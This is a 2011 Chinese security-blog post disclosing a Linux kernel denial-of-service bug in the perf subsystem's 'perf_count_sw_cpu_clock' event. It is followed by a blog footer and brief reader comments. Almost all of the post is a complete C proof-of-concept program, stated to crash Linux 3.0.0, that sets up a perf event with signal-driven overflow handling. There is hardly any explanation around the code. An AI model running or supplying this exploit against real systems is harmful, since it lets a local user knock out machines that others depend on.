Linux Kernel ‘perf_count_sw_cpu_clock’ event Denial of Service

This test will crash Linux 3.0.0
#define _GNU_SOURCE 1

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>

#include <linux/perf_event.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <asm/unistd.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <signal.h>

#include <sys/prctl.h>
#define MATRIX_SIZE 512
static double a[MATRIX_SIZE][MATRIX_SIZE];
static double b[MATRIX_SIZE][MATRIX_SIZE];
static double c[MATRIX_SIZE][MATRIX_SIZE];
static void naive_matrix_multiply(int quiet) {
  double s;
  int i,j,k;
  for(i=0;i<MATRIX_SIZE;i++) {
    for(j=0;j<MATRIX_SIZE;j++) {
      a[i][j]=(double)i*(double)j;
      b[i][j]=(double)i/(double)(j+5);
    }
  }
  for(j=0;j<MATRIX_SIZE;j++) {
     for(i=0;i<MATRIX_SIZE;i++) {
        s=0;
        for(k=0;k<MATRIX_SIZE;k++) {
       s+=a[i][k]*b[k][j];
    }
        c[i][j] = s;
     }
  }
  s=0.0;
  for(i=0;i<MATRIX_SIZE;i++) {
    for(j=0;j<MATRIX_SIZE;j++) {
      s+=c[i][j];
    }
  }
  if (!quiet) printf("Matrix multiply sum: s=%lfn",s);
  return;
}

static int total=0;
void our_handler(int signum,siginfo_t *oh, void *blah) {
  int fd=oh->si_fd;
  ioctl(fd , PERF_EVENT_IOC_DISABLE,0);
  total++;
  ioctl(fd , PERF_EVENT_IOC_REFRESH,1);
}
int perf_event_open(struct perf_event_attr *hw_event_uptr,
            pid_t pid, int cpu, int group_fd, unsigned long flags) {
  return syscall(__NR_perf_event_open,hw_event_uptr,pid,cpu,group_fd,flags);
}
int main( int argc, char **argv ) {
    int fd;
    void *blargh;
    struct perf_event_attr pe;
    struct sigaction sa;
    memset(&sa, 0, sizeof(struct sigaction));
    sa.sa_sigaction=our_handler;
    sa.sa_flags=SA_SIGINFO;
    if (sigaction(SIGIO,&sa,NULL)<0) {
      fprintf(stderr,"Error setting up signal handlern");
      exit(1);
    }
        memset(&pe,0,sizeof(struct perf_event_attr));  
    pe.type=PERF_TYPE_SOFTWARE;
    pe.size=sizeof(struct perf_event_attr);
        pe.config=PERF_COUNT_SW_CPU_CLOCK;
    pe.sample_period=100000;
    pe.sample_type=PERF_SAMPLE_IP;
    pe.read_format=PERF_FORMAT_GROUP|PERF_FORMAT_ID;
    pe.disabled=1;
    pe.pinned=1;
    pe.exclude_kernel=1;
    pe.exclude_hv=1;
    pe.wakeup_events=1;
    fd=perf_event_open(&pe,0,-1,-1,0);
    if (fd<0) {
       printf("Error openingn");
    }
    blargh=mmap(NULL,(1+2)*4096,PROT_READ|PROT_WRITE,MAP_SHARED,fd,0);
    fcntl(fd,F_SETFL,O_RDWR|O_NONBLOCK|O_ASYNC);
    fcntl(fd,F_SETSIG,SIGIO);
    fcntl(fd,F_SETOWN,getpid());
    ioctl(fd,PERF_EVENT_IOC_RESET,0);
    ioctl(fd,PERF_EVENT_IOC_ENABLE,0);
    naive_matrix_multiply(0);
    ioctl(fd,PERF_EVENT_IOC_DISABLE,0);
    munmap(blargh,(1+2)*4096);
    close(fd);
    printf("Total overflows: %dn",total);
    return 0;
}

本文固定链接: https://www.unhonker.com/bug/183.html | 90' s Blog|关注网络信息安全

该日志由 unhonker 于2011年09月04日发表在 漏洞公布 分类下, 你可以发表评论,并在保留原文地址及作者的情况下引用到你的网站或博客。
原创文章转载请注明: Linux Kernel ‘perf_count_sw_cpu_clock’ event Denial of Service | 90' s Blog|关注网络信息安全

Linux Kernel ‘perf_count_sw_cpu_clock’ event Denial of Service:目前有3 条留言

  1. 是个好内容,楼主有心了,我爱你。继续努力!!!

    2011-09-04 16:22
  2. 不错,支持一下!

    2011-09-04 17:55
  3. 沙发
    tradekey:

    为了学习这个知识,到处找相关文章,在此也要感谢一下博主了。

    2011-09-04 18:34

发表评论

您必须 [ 登录 ] 才能发表留言!